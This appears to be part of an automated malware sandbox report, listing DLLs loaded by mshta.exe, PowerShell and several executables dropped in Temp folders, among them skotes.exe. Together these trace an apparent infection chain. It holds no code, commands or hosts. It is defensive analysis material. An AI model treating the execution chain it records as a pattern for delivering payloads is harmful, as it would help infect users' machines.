Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mshtml.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msiso.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: srpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msimtf.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: jscript9.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dataexchange.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: iertutil.dll
